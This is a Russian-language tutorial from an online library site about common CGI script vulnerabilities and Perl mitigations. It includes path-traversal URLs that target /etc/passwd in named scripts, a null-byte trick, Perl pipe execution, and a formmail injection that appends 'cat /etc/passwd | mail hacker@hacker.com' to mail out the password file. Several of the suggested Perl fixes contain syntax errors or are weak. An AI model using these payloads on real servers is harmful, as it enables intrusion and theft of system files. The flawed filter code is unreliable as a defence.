On-Line Библиотека www.XServer.ru - учебники, книги, статьи, документация, нормативная литература.
       Главная         В избранное         Контакты        Карта сайта   
    Навигация XServer.ru








 

CGI-скрипты

Общая цель CGI-скриптов - позволить посетителю получать доступ лишь к определенной части информции, находящейся у вас на сервере. Такое определение сразу должно навести вас на мысли о безопасности и предотвращения действий, направленных на получение вашей информации и некорректного вмешательства в работу вашей системы. Если вы будете достаточно беспечны и легкомысленны в этом вопросе, вы предоставите посетителям доступ к тем участкам сервера, которые предпочтительнее было бы скрыть от посторонних глаз. Хотя ни один web-узел нельзя считать на 100% защищенным, снизить уровень риска при применении CGI-программ довольно просто. Далее мы рассмотрим наиболее характерные уязвимости в скриптах и попробуем свести риск к минимуму.
Наиболее часто встречающяяся уязвимость - это отсутсвие проверки посылаемых скрипту данных на метасимволы (такие, к примеру, как &;`'\"|*?~<>^()[]{}$), что приводит к выводу скриптом содержимого файла или самого файла, которое администратор сервера предпочел бы скрыть. Элементарным решением этой проблемы есть фильтрация вводимого набора символом, выглядящая на Perl следующим образом:
$in =~ s/([;<>\*\|`&\$!#\(\)\[\]\{\}:'"\n])/\\$1/g;
По моему авторы скриптов забывают об этом или не хотят запоминать, т.к. самую элементарную проверку на символы "/" и ".." до сих пор не делают.
Почему же так важна проверка на метасимволы ? Потому, что к примеру у вас есть скрипт view.pl ( www.your_host.com/cgi-bin/view.pl ) который показывает какой-то файл (подобный пример часто встречается в поисковых скриптах и в файлах различных web-форумов) т.е. www.your_host.com/cgi-bin/view.pl?site.htm покажет вам site.htm.
Но если мы передадим скрипту запрос вида
www.yor_host.com/cgi-bin/view.pl?../../../../etc/passwd
То данная команда выведет нам в качестве результата файл с паролями *nix системы. Это происходит из-за того, то скрипт, получая данные ../../.. исполняет команду перехода по директориям. Получается, что он доходит то корня диска, оттуда переходит в директорию etc/ и показывает на файл passwd, расположенный там же.
$file=s/\.\.//g; - вот такой маленький кусочек кода perl намного облегчит жизнь администратора.
Вот лишь несколько скриптов, в которых встречается эта уязвимость:
www.your_site.com/cgi-bin/htmlscript?../../../../etc/passwd
www.your_site.com/cgi-bin/shopper.cgi?newpage=../../../etc/passwd
www.your_site.com/cgi-bin/Web_Store/web_store.cgi?page=../../../etc/passwd%00ext

Наверное вы обратили внимание на последний пример. Наверное, у вас возник вопрос, а что такое за /etc/passwd%00ext. Это тоже один из примеров уязвимости cgi-скриптов. Но эта уязвимость не столько зависит от скрипта, сколько от операционной системы. Система неадекватно реагирует на символ 0.( не только именно на 0, но я привел лишь самый элементарный пример.
К примеру, page.cgi?index.htm покажет вам документ. А page.cgi?index.htm%00 покажет вам исходный код документа.
Самый простой вариант решения этой проблемы, это поставить фильтр на этот символ, на perl этот будет выглядеть примерно так :
$insecure_data=~s/\0//g;

Также в языке Perl, добавление символа "|" засталяет программу, которая должна открывать файл - запустить его.
К примеру: open(FILE, "/bin/ls") - даст вам бинарный код, а если подставить "|"
open(FILE, "/bin/ls|") - будет выполнена команда, в данном случае ls.
s/(\|)/\\$1/g - такая вставка в Perl-код предотвратит это. ( Perl скажет - 'unexpected end of file').

Также скрипты активно используются для создания многочисленных списков рассылок и тому подобных вещей, применяемых для побее тесного взаимодействия сайта и посетителя. Обычно данные скрипту передаются в виде html-формы.
Злоумышленник может запросто сохранить исходный код html-формы, модифицировать его, а затем открыть страницу, уже модифицированую у себя в броузере. Хакер может изменить значения и имена полей, модифицировать или удалить скрытые поля ( Input type=hidden ), после чего предьявить форму целевой CGI-программе. Кроме того, ничто не помешает ему вызвать вашу программу прямо из коммандной строки браузеоа и передать в нее информацию в строке запроса.
Типичный пример, алгоритм которого вы можете еще применить во многих других скриптах = это уязвимость в очень старом скрипте formmail 1.0
Когда скрипт получает данные, он составляет письмо и, пользуясь полученными данными, дает примерно следующую команду:
$ mail some_email $recipient
Предположим, что в документе html, параметр recipient (hidden) содержит адрес admin@server.com Тогда в итоге после выполнения всех команд он завершится посылкой письма по этому адресу командой
httpd$ mail <информация> admin@server.com
Но нам ничего не мешает сохранить документ, немного подредактировать его, добавив свои команды ( к примеру
";cat /etc/passwd | mail hacker@hacker.com") и затем отправить данные скрипту. Тогда скрипт все внимательно обработает, составит письмо м выполнит команду httpd$ mail <информация> hacker@hacker.com; cat /etc/passwd | mail hacker@hacker.com Вот и пример формы, выполняющей вышеописанные действия:


Один из самых простых способов установить, похищена ли форма - это проверить значение переменной среды HTTP_REFERER, модержащей URL, из которого была вызвана ваша программа. Затем это значение следует сравнить с тем, которое должно быть при вызове программы с допустимой страницы. Если вы, скажем, хотите, чтобы программа вызывалась только со страниц, URL которых начинаются с www.server.com/some_file/, то можете поставить в начало программы что-то вроде этого:
if ($ENV{'HTTP_REFERER'} !=m#^http://www.server.com/some_file/#)
{print "Content-Type: text/plain\n403 Forbidden\n\n";
Но этот метод защиты годится только в том случае, если хакер не переопределил HTTP_REFERER. Когда форма предьявляется, ваша программа использует значение поля для построения пути к файлу (например, /var/www/hir/hack.htm), а затем выводит данный файл. Эта возиожность кажется довольно безобидной, пока хакер не изменит форму таким образом, что она будет содержать пункт со значением ../../../etc/passwd. Ваша программа сможет взять это значение, создать путь к этому файлу и вывести passwd в окно браузера.
Этого можно избежать, указав в программе корневую директорию и сделать так, чтобы все пути к файлам начинались именно с этого имени каталога.
if (file_path !~/^root_directory/) {print "Invalid file path\n"
Вот пожалуй самые распространненые ошибки в CGI-программах и возможные методы исправления этих ошибок и повышение безопасности сервера.



Литература по CGI